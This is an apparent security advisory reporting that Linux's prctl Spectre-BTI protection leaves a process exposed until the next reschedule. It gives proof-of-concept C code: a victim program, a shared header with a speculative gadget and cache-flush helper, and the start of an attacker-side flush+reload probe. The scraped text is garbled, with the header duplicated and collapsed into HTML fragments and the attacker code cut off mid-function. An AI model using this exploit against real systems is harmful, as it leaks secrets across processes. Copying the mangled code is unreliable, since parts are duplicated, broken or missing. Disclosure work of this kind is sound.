Summary
The Linux kernel does not correctly mitigate SMT attacks, as discovered through a strange pattern in the kernel API using STIBP as a mitigation[1], leaving the process exposed for a short period of time after a syscall. The kernel also does not issue an IBPB immediately during the syscall.
The ib_prctl_set [2]function updates the Thread Information Flags (TIFs) for the task and updates the SPEC_CTRL MSR on the function __speculation_ctrl_update [3], but the IBPB is only issued on the next schedule, when the TIF bits are checked. This leaves the victim vulnerable to values already injected on the BTB, prior to the prctl syscall.
The behavior is only corrected after a reschedule of the task happens. Furthermore, the kernel entrance (due to the syscall itself), does not issue an IBPB in the default scenarios (i.e., when the kernel protects itself via retpoline or eIBRS).
Severity
Moderate – Severity justification currently being reworked.
Proof of Concept
To ensure this wasn’t a measurement error, we created a simple POC. The victim code always executes asafe_function
through a function pointer that is vulnerable to a spectre-BTI attack. The victim requests the kernel for protection using the prctl syscall (inside protect_me
). The victim also loads a secret from a text file, showing that other syscalls don’t check the TIF bit or provoke a reschedule that would force an IBPB.
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %sn", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}
Most of the libc functions were placed inside a common header between the attacker and the victim, so the spectre_gadget
and spec
functions share the same memory addresses on both victim and attacker (otherwise a .GOT entry is created and the addresses are changed). This is not a requirement and there are other ways to place the branches on the same addresses and mimic the victim context, but this method is the simplest.
: "c"(adrs)
:);
}
// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++) ; codePtr(addr, secret, idx); } // opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example char *open_shared_mem() { int fd = open("sharedmem", O_RDONLY); char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0); // ensure page is on memory volatile char d = res[2100]; return res; } // load secret from file void load_secret(char *secret) { FILE *fp = fopen("secret.txt", "r"); fgets(secret, 20, (FILE *)fp); } // Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html void protect_me() { usleep(1000); //not needed but resets the available time on scheduler prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); } // Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier unsigned string_to_unsigned(char *s) { return atoi(s); } ">
#include
#include
#include
#include
#include
#include
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// this function does nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}
// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// helper for better results probably not necessary but makes the tests easier
void flush(char *adrs)
{
asm volatile(
"clflush [%0] n"
:
: "c"(adrs)
:);
}
// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// ensure page is on memory
volatile char d = res[2100];
return res;
}
// load secret from file
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //not needed but resets the available time on scheduler
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}
// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}
The attack consists in poisoning the BTB by calling the spec
function and making it branch to spectre_gadget
instead of safe_function
. After the training the victim process is created and it executes spec
that mispredicts to spectre_gadget
which should never be executed. The secret is leaked through a classic flush+reload side channel.
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence n"
" lfence n"
" rdtsc n"
" lfence n"
" mov esi, eax n"
" mov eax,[%1] n"
" lfence n"
> #includestdio.h> #includeunistd.h> #includefcntl.h> #includesysmman.h> divdata-snippet-clipboard-copy-content=#includestdlib.h> pdir=auto>